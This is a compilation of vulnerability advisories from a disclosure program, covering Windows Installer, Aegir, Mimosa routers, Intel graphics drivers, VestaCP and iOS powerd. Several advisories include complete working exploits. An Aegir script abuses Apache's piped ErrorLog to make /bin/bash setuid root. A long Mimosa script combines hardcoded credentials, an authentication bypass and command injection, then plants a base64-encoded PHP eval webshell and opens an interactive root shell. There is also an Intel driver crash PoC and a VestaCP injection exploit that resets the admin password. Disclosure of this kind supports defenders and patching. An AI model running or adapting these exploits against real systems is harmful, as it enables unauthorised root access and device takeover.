SSD Advisory – Windows Installer Elevation of Privileges Vulnerability

TL;DR

Vulnerability in Windows Installer allows local users to gain elevated SYSTEM privileges in Windows.

Vulnerability Summary

Windows Installer is a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software.

Windows Installer suffers from a local privilege escalation allowing a local user to gain SYSTEM on victim’s machine. Microsoft has made a patch available that addresses this issue.

Credit

Independent security researcher Abdelhamid Naceri (halov) has reported this vulnerability to the SSD Secure Disclosure program.

CVE

CVE-2020-16902

Affected Versions

Windows 7

Windows 8

Windows 10

Windows 2008

Windows 2012

Windows 2016

Windows 2019

Vendor Response

Microsoft has released patches to address this issue, for more details see: CVE-2020-16902 | Windows Installer Elevation of Privilege Vulnerability

Vulnerability Analysis

The vulnerability was first found by sandbox escaper. She posted the write up here.

As noted in the write up, the original vulnerability got addressed in CVE-2019-1415. However, it was possible to bypass the patch – this was reported to Microsoft and they released it via security patches for CVE-2020-0814 and CVE-2020-1302. It now turns out those patches can be bypassed as well.

Here’s the unpatched output of the windows installer output using Process Monitor:

And then here’s the updated version:

As you can see, there’s no call to SetSecurityFile to secure the folder and so setting up the security description in c:\ allows for a race condition – since by default an authenticated user has delete access to subdirectories. This means we can call CreateDirectory(path,&sz) and set sz to our security descriptor. That was the patch for CVE-2020-0814.

But wait, why should the directory be protected from a user?

Windows Installer Rollback Files and Scripts

When you try to install, repair, uninstall something you might notice that there’s a cancel button

According to the Microsoft Documentation when the Windows Installer processes the installation script for the installation of a product or application, it simultaneously generates a rollback script and saves a copy of every file deleted during the installation.

These files are kept in a hidden system directory and are automatically deleted once the installation is successfully completed. If however the installation is unsuccessful, the installer automatically performs a rollback that returns the system to its original state.

So if we can modify the rollback files we can do changes to the machine in the context of the windows installer service which runs as SYSTEM.

As you can see here:

There are probably no race conditions since we can’t access the directory because of the ACL.

The security descriptor doesn’t allow even a user to get read access to the directory.

But there’s still something we can do. As seen above, Windows installer doesn’t create the rollback script directly but rather creates a directory and puts temporary files in it, and then deletes the directory.

However, there’s a weird part when the windows installer checks to see if the directory still exists after it successfully deleted it (see the NAME NOT FOUND). If the directory still exist after Windows Installer deleted it, CVE-2020-1302 resurfaces.

As you can see Windows Installer tries to set the security of the folder, which can be easily abused: since we created the directory, we have the ownership of the directory and will have WRITE_DAC access to the directory. As soon as Windows Installer tries to change the ACL to make it write restricted we change it to give everyone access to the directory.

It should be noted that accessing the rollback is a little bit difficult: the rollback script is created with a security descriptor that allow only SYSTEM and Administrators to access to it, which means that even if we control the c:\config.msi directory we can’t access the rollback script. However as can be seen in CVE-2020-0814, we can move the entire directory and then replace it as, and at this point we would have control over the entire directory and this will allow us to delete or move it.

This means we can move the entire directory into a temporary place and then create it by ourselves and place in it our specially created rollback file which would then be executed. Windows Installer usually makes it harder than it sounds, since the Windows Installer creates the rollback file in the directory using a special sharing method:

As you can see we are only allowed read only access, so any attempt to access to it with delete or write access will result in SHARING_VIOALATION.

We can still do some damage sooner or later as the Windows Installer will close the handle, but then again reopen it when Windows Installer wants to read it after clicking on Cancel. In between these two steps we can to move the directory and replace it.

So far the vulnerability would require a timing attack: pressing on the Cancel button at the right moment. So we need to address it in order to make the LPE work seamlessly.

In order to do that, we’ll use an application called Advanced Installer, used to create MSI packages. This application has a nice feature called Custom Actions:

Clicking on it will show you these options:

Clicking on “Launch File” will bring up:

The interesting option is Fail the installation if the custom action return an error, this what we are looking for an automated rollback. You can also see an option at the bottom called Condition. Let’s see what we can do with it.

As you can see, it asks us for the expression and it expects something like if(condition==true){//then execute}

If you pick the Wizard option (just right of the text box), you can then select Feature and click Next:

We can pick the Feature is being reinstalled:

This will allow us to execute the file only if the package is being repaired, making our exploit no longer require any user interaction.

At this point we have everything ready, we have an MSI package that will fail, will automatically rollback and will execute our code – we just need the Rollback file placed in the right folder and we are set.

Our rollback file will modify the Fax service executable to something we control – since users are allowed to start this service without any special privileges, after the registry was modified we just need to star the service and we get SYSTEM privileges.

Exploit

Because the exploitation of this vulnerability requires building an MSI file and using Bluebear rollback generated file, we will not be providing an exploit for this vulnerability – a working exploit in binary form was provided to Microsoft and used by them to verify the findings.

SSD Advisory – Aegir with Apache LPE

TL;DR

Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.

Vulnerability Summary

Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.

When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Aegir installations running under Apache

Unaffected Systems

Aegir installations running under Nginx

Vendor Response

The vendor released a statement, https://www.drupal.org/sa-contrib-2020-031, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.

Vulnerability Analysis

During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in
/etc/sudoers.d/aegir:

if [ -d /etc/sudoers.d ]; then
  ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir
  ucfr aegir-provision /etc/sudoers.d/aegir
  chmod 440 /etc/sudoers.d/aegir
else
  echo "running an older version of sudo"
  echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly"
fi

This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):

aegir ALL=NOPASSWD: /usr/sbin/apache2ctl
aegir ALL=NOPASSWD: /etc/init.d/nginx

This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:

case $WEBSERVER in 
apache)
  if [ -d /etc/apache2/conf-enabled ]; then
    # Apache 2.4
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf
  else
    # Apache 2.2
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf
  fi
  a2enmod ssl rewrite
  apache2ctl graceful
;;

However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:

Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.

https://httpd.apache.org/docs/2.4/en/logs.html#piped

By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.

As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.

Temporary workaround

Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.

Fix (Unofficial)

The following changes could be implemented to prevent the privilege
escalation:

  • Deploying apache2 as an unprivileged service to be started as root, but
  • with the capability CAP_NET_BIND_SERVICE.
  • Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
  • Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.

Demo

Exploit

#/usr/bin/python2.7
import sys
import os

COMMAND='/usr/bin/chmod +s /bin/bash'

SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart'
APACHE_CONFIG='/var/aegir/config/apache.conf'

if not COMMAND and len(sys.argv) != 2:
  print 'Usage: python2.7 {} <command>'.format(sys.argv[0])
  sys.exit(1)

with open(APACHE_CONFIG, 'a+') as f:
  cmd = sys.argv[1] if not COMMAND else COMMAND
  f.write('''
<VirtualHost *:80>
DocumentRoot /var/www/
ErrorLog "|{}"
</VirtualHost>
'''.format(cmd.replace('"', '\"')))

os.system(SUDO_RELOAD)
os.execvp('bash', ['bash', '-p'])

SSD Advisory – Mimosa Routers Privilege Escalation and Authentication bypass

TL;DR

Find out how we exploited Mimosa Router’s web interface vulnerability and gained root access.

Vulnerability Summary

Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface.

CVE

CVE-2020-14003

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Should work on any mimosa device with versions of the firmware <= 1.5.1 (the latest version)

C5c ca8c8e1

C5 cc51495

B5 b84c680

B5-Lite b84c680

B5c b84c680

B11 b84c680

B24 1070089

Vendor Response

The vendor acknowledges the vulnerability and fixed it.

Vulnerability Details

The Mimosa routers all use a custom web interface that’s written using php. The Mimosa developers also have their own mini php framework.

The root of the web interface is located at /var/www/. There are a lot of php scripts there, some which handle API requests and others for the web interface. Let’s begin by looking at the framework and how authentication is done (the initial bug).

Authentication Bypass/ Privilege Escalation

File /var/www/core/tinyframe/mimosa.php

class Dispatcher { //Dispatcher class (Handles routing) included for reference
   private $output;

   public function __construct() {
       if (isset($_GET['q'])) { //parse action from url querystring
           $array = explode('.', $_GET['q']);
           if (count($array)) {
               Application::$controller['name'] = strtolower(array_shift($array));
               if (count($array)) {
                   Application::$controller['action'] = strtolower(array_shift($array));
              }
          }
           unset($_GET['q']);
      }
  }
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
           'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
           'info' => array('device'),
           'preferences' => array('changepass'), //<-- The bug is here
           'tools' => array('antenna_data')
      );

As can be seen above, the authentication exemptions contain the preferences endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This is where the Privilege Escalation and Authentication bypass bugs occur, lets take a look at the controller code and see what we can do.

File: /var/www/core/controller/preferences.php

//line 111 
  public function changepass() {
       if(self::$isPost) { // Checks if the request sent is POST
           $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
           foreach($saveArray as &$value) {
               $value = md5($value); // md5 hashing the password value
          }
           $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
           $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
           Flags::create('password_modified');
      }
  }

As can be seen above the bugs are pretty straight forward. And very easy to exploit.

The first bug lets us escalate our session to super user, this was not trivial to exploit since we need to login for the session to work. There is a code block that checks session timeout using variables from the $_SESSION super global. But this value will not be set unless we are logged in, and if it’s not set authentication fails. But luckily mimosa has a hard coded web user (monitor:mimosa) that can login with minimal privileges and whats even better there is no option to change the password for this user or disable it. Using the hard coded credentials and the privilege escalation we can get full admin access to the web UI.

The second bug is pretty trivial. We can change the password of the super user without the need to authenticate. This lets us log in with our new password and take full control. The PoC exploit below exploits both these bugs for RCE.

Remote Command Execution

The RCE requires an authenticated admin session to exploit, By using one of the two bugs described above, we can get a valid session and exploit the bug. The RCE is pretty simple so lets take a look at the code. File /var/www/core/controller/wireless.php

public function powerRange() {
$isR5 = $this->product == 'B02';
$bw = $_GET['bw'];
$freq1= $_GET['freq'];
$freq2 = $_GET['freq2'];
       $country = country();

if ((strlen(substr($bw, 2)) > 2))
$bw = '3' . str_replace(' FD','',substr($bw, 2));
else
$bw = substr($bw, 2);

       $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
       if ( MIMOSA_PRODUCT == 'B11') {
           $cmdRemote = $cmdLocal  = $cmd;

           $cmdLocal .= " gain ". $_GET['gain'];
           $cmdRemote.= " gain ". $_GET['gainRemote'];

           $minMaxLocal = array();
           $minMaxRemote = array();

           $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
          }

           $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
          }
           $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
               'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
      }
       else {
if ($isR5) {
if (intval($_GET['gain']) > intval($_GET['gainRemote']))
$cmd .= " gain ". $_GET['gain'];
else
$cmd .= " gain ". $_GET['gainRemote'];
}
$lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
$minMax = array();

foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
}
if(count($minMax) > 1) {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
'Power2' => range($minMax[1][0], $minMax[1][1]));
} else {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
}
}

As you can see from the above code, the function powerRange (reachable at <router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a wrapper) without any type of filtering. The code has 2 paths if the product is B11 and if it is not (Other models) but the RCE will happen in both cases.

As a side note the /var/www/ directory is not writable by default (squashfs filesystem) and you have to get around that by using a bind mount /var/www/help/ to /tmp/<some_dir> to upload a shell.

Demo

Exploit

#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MimosaExploit():
	def __init__(self,url):
		self.url = url
		self.cookie = None

	def get_version(self):
		print '[+] Fingerprinting device.'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
		if r.status_code != 200:
			print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
			return False
		else:
			try:
				data = json.loads(r.text)
				print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
				return True
			except Exception:
				print '[-] Failed to parse device info.'
				return False

	def LoginMonitor(self):
		print '[+] Attempting to login as the monitor user (lowest privilege)'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :('
			print '[+] Try using the password change exploit?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def LoginAdmin(self):
		print '[+] Attempting to login as the admin user'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :(, maybe retry?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def EscalatePrivilege(self):
		print '[+] Escalating privilege to Super User'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to escalate privileges'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to escalate privileges, Invalid response'
			return False
		print '[+] Successfully got Super User privileges'
	
	def ChangeAdminPassword(self):
		print '[+] Changing the admin password to admin'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to change the password'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to change the password, Invalid response'
			return False
		print '[+] Successfully changed the admin password'
	
	def ExploitRCE(self,Shell=True):
		print '[+] Beginning RCE exploit'
		if Shell == False:
			cmd = raw_input("Input command you want to execute> ")
		else:
			# Shell base64 decoded
			#<?php
			#eval(base64_decode($_REQUEST['p']));
			#?>
			cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
		
		r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200 and r.text.lower().find('power') == -1:
			print '[+] Executing the command might have failed'
			return False
		else:
			print '[+] Successfully executed the command'
		if Shell == True:
			print '[+] Checking if shell is uploaded'
			r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
			if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
				print '[+] Shell is uploaded'
			else:
				print '[-] Uploading the shell might have failed, retry?'
				return False
			ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
			if ch.lower() == 'y':
				print '[+] Running an interactive command shell'
				print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
				while True:
					cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
					if cmd == "quit":
						print '[+] Exiting command shell.'
						return True
					elif cmd == 'clean_up':
						cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
						if r.status_code != 200:
							print '[+] Something went wrong while executing the command'
						elif r.text.strip() == '__DONE__':
							print '[+] Exploit cleaned up, exit now please'
					elif cmd.startswith("php "):
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
						if r.status_code != 200:
							print '[+] Execution Failed.'
						else:
							print r.text
					r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
					if r.status_code != 200:
						print '[+] Something went wrong while executing the command'
						print r.status_code
						print r.text
					else:
						print r.text
			else:
				print '[+] Your shell should be at {}/help/load_help.php'
				print '[+] use GET/POST parameter p to execute php code'
				print '[+] Note the php code sent through p has to be base64 encoded'
				return True
		else:
			print '[+] Command should be executed'
			return True
	
	def run(self):
		print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
		print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
		ch = raw_input('Choice> ')
		if ch == "1":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.LoginMonitor() == False):
				print '[-] Failed to Login using hardcoded creds, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)
		if ch == "2":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.ChangeAdminPassword() == False):
				print '[-] Failed to change creds, Bailing'
				exit(0);
			if(self.LoginAdmin() == False):
				print '[-] Failed to Login as admin, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)	


if __name__ == "__main__":
	if len(sys.argv) < 2:
		print 'Usage: {} <url>'.format(sys.argv[0])
		exit(0)
	ex = MimosaExploit(sys.argv[1])
	ex.run()

SSD Advisory – Intel Windows Graphics Driver Buffer Overflow to Privilege Escalation

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.

System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows local users to gain Escalation of Privileges or cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-11112
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH 25.20.100.6323 and on 25.20.100.6577 (latest at the time of writing this report), on Windows 10 Version 1809.
Vendor Response
Intel fixed the issue in versions 26.20.100.6813 and 26.20.100.6812 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
(more…)

SSD Advisory – Intel Windows Graphics Driver Out of Bounds Read Denial of Service

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.
System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerabilities Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows unprivileged users to cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-14591
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH:
25.20.100.6323.
25.20.100.6577.
25.20.100.6618 (latest at the time of writing this report).
Testing environment:
OS Name Microsoft Windows 10 Pro.
Version 10.0.17134 Build 17134.
OS Manufacturer Microsoft Corporation.
System Model System Product Name.
System Type x64-based PC.
Processor Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz, 3401 Mhz, 4 Core(s), 8 Logical Processor(s).
Vendor Response
Intel fixed the issue in version 26.20.100.7209 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
Vulnerability Details
The driver’s callback function DxgkDdiEscape contains an Out-Of-Bound Read that can be triggered by unprivileged users who can trigger the vulnerability by crafting a malicious request to the D3DKMTEscape function.
In DxgkDdiEscape, there is a global variable (which I named as “escape_jmp_table”) which is an array of pointers to functions. The function will choose which function to call based on the value of the third parameter of the privateDriverData value that is controlled by the local user.
The structure of privateDriverData looks something like this:

typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[100];
} privateDriverData;

The DxgkDdiEscape will call to sub_14004FCE0 (which I will name it as ESCAPE_CONTINUE_TO_TABLE). The ESCAPE_CONTINUE_TO_TABLE will load the “escape_jmp_table” and will call the function to which escape_jmp_table[pPrivateDriverData.escape_jmp_table_index] points to.

The vulnerability discovered lies in the function being called by the pointer found by the value of the second index of the escape_jmp_table. This function (sub_140085E70) does a switch case on the fourth parameter of the privateDriverData and decides to which function to call by the value given.
This image shows the various switch case handling this function (sub_140085E70) supports:

In case that the value of the fourth parameter in the structure is 205, the function the sub_140092E80 will be called:

This function allocates a buffer on the stack and calls sub_1400AD9F0 with this buffer, I will name this buffer as local_buf:

The subsequent function sub_1400AD9F0 does a memcpy(pPrivateDriverData.buffer + 0xb, 0x200, localbuf + 0xb, 0x200).
The memcpy is called with a fixed size, no checks on the pPrivateDriverData buffer size, which means that if pPrivateDriverData.buffer length is smaller than 0x200 + 0xb, an overflow will be triggered. This overflow can lead to Escalation of Privileges (by utilizing a null pointer dereference exploitation method) or local Denial of Service.

Proof of Concept
The following PoC calls the D3DKMTEscape function with previously mentioned parameters that will trigger the vulnerable function and the system will crush due to security cookie check failure. The full code is in the Escape directory which contains a visual studio solution:

#define BUF_SIZE 100
static const char* intel = "Intel";
typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[BUF_SIZE];
} PrivateDriverData;
int main()
{
	int result = 0;
	DRIVER_INFO driverInfo = { 0 };
	D3DKMT_ESCAPE escapeObj = { 0 };
	PrivateDriverData data = { 0 };
	int status = initDriver(&driverInfo, intel);
	if (!NT_SUCCESS(status)) {
		printf("Could not initialize connection to driver");
		return -1;
	}
	printf("[+] Initialized driver\n");
	escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escapeObj.hAdapter = driverInfo.hAdapter;
	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
	data.unknown1 = 'AAAA';
	data.unknown2 = 'BBBB';
	data.escape_jmp_table_index = 1;
	data.switchcase_index = 205; // vulnerable case
	memset(data.buffer, 'A', BUF_SIZE);
	escapeObj.pPrivateDriverData = (void*)&data;
	escapeObj.PrivateDriverDataSize = sizeof(data);
	status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
	if (!NT_SUCCESS(status)) {
		printf("[-] D3DKMTEscape failed (%x)", status);
	}
	getchar();
	return 0;
}

Result in WinDbg:


We can see in the above screenshot that a buffer overflow occurred, and the system crashes.

SSD Advisory – Vesta CP Remote Command Execution To Privilege Escalation

Vulnerabilities Summary
The following advisory describes a vulnerability in Vesta control panel (VestaCP), an open source hosting control panel, which can be used to manage multiple websites, create and manage email accounts, FTP accounts, and MySQL databases, manage DNS records and more.
CVE
CVE-2019-9859
Credit
An independent Security Researcher, 0xecute, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VestaCP versions 0.9.7-0.9.8-23.
Vendor Response
The vendor released a fixed version on April 15.
Vulnerability Details
VestaCP is vulnerable to an authenticated command execution which
can result a remote root access on the server.
The platform works with PHP as the frontend language and uses shell scripts to execute system actions. PHP executes shell script through the dangerous command exec. This function can be dangerous if arguments passed to it are not filtered. Every user input in VestaCP that is used as argument is filtered with the escapeshellarg function. This function comes from the php library directly and its description is as follow:
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. It means that if you give Username, it will be replaced with ‘Username’. This works well and protects users from exploiting this potentially dangerous exec function.
Unfortunately, VestaCP uses this escapeshellarg function wrong at several places. We can see an example in web\list\dns\index.php:
exec (VESTA_CMD."v-list-dns-records '".$user."' '".escapeshellarg($_GET['domain'])."' 'json'", $output, $return_var);
We can see the escapeshellarg use on the user input, but it is surrounded by single quote! If we remember the goal of escapeshellarg, it already adds a single quote around the input.
This error means that if we give an input with a space, we are not inside the second argument of the v-list-dns-records function and not surrounded by single quote anymore.
It will give for $_GET[‘domain’]=abc `touch/tmp/hacked` the following
Exec(v-list-dns-records ‘username’ ‘’abc `touch /tmp/hacked`) This will consider ‘’abc as the second argument, and `touch /tmp/hacked` will be executed as a system command as it is outside quotes.
This error can be found in the following files:
web\edit\server\index.php : 4 times
web\list\dns\index.php: 1 time
web\list\mail\index.php: 1 time
Exploit

import requests
from bs4 import BeautifulSoup
username='simpleUser'
password='welcome123'
serverIP='https://192.168.56.102:8083'
newRootPassword='welcomeRoot'
vestaPath='/usr/local/vesta'
cmd='sudo '+vestaPath+'/bin/v-change-user-password admin '+newRootPassword
s = requests.session()
r = s.get(serverIP+'/login/', verify=False)
soup = BeautifulSoup(r.text, features="html.parser")
token = soup.find('input', {'name': 'token'}).get('value')
print(token)
## Authentication ##
loginR = s.post(serverIP+"/login/", allow_redirects=False, data={'token':token,'user':username,'password':password},headers={'Referer':serverIP+'/login/','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64;rv:65.0)Gecko/20100101 Firefox/65.0'}, verify=False)
if loginR.status_code!=302:
	print("Wrong login")
	print(loginR.text)
	print(loginR.status_code)
	print(loginR.headers)
	exit()
## Exploit ##
exploitR = s.get(serverIP+'/list/dns/index.php?domain=abc%20`'+cmd+'`')
if exploitR.status_code==200:
	print("Exploit done")
	print("You can now connect to the SSH server")
	print("Credentials: \nUsername: admin\nPassowrd: "+newRootPassword)
	print("Then, you need to execute 'sudo bash' and type again the password, then you
	are root")

SSD Advisory – iOS powerd Uninitialized Mach Message Reply to Sandbox Escape and Privilege Escalation

(This advisory follows up on a vulnerability provided in Hack2Win Extreme competition, that won the iOS Privilege Escalation category in our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon – June 2019 in Seoul for more offensive security lectures and training)
Vulnerabilities Summary
The following advisory describes security bugs discovered in iOS’s powerd, which leads to arbitrary address read with unlimited amount of memory and an arbitrary address deallocation with arbitrary size, which can lead to Sandbox Escape and Privilege Escalation.
Vendor Response
“Power Management
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: Multiple input validation issues existed in MIG generated code. These issues were addressed with improved validation.
CVE-2019-8549: Mohamed Ghannam (@_simo36) of SSD Secure Disclosure (ssd-disclosure.com)”
CVE
CVE-2019-8549
Credit
An independent Security Researcher, Mohamed Ghannam, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
iOS versions before 12.2.
Vulnerability Details
The powerd has its own MIG implementation, it’s based on _SC_CFMachPortCreateWithPort which is nothing more than a wrapper of CFMachPortCreateWithPort, it hosts a MIG callback called mig_server_callback(). This Callback is the main MIG resource handler which acts like mach_msg_server() in user-space or ipc_kmsg_server() in XNU kernel.
When powerd receives a Mach message, it allocates a reply message buffer via CFAllocatorAllocate with the default allocator and then later the reply message got partially initialized in pm_mig_demux().

We can notice that pm_mig_demux() doesn’t well initialize the reply buffer and only considers the message reply as Simple Mach Message and not a Complex Mach Message .
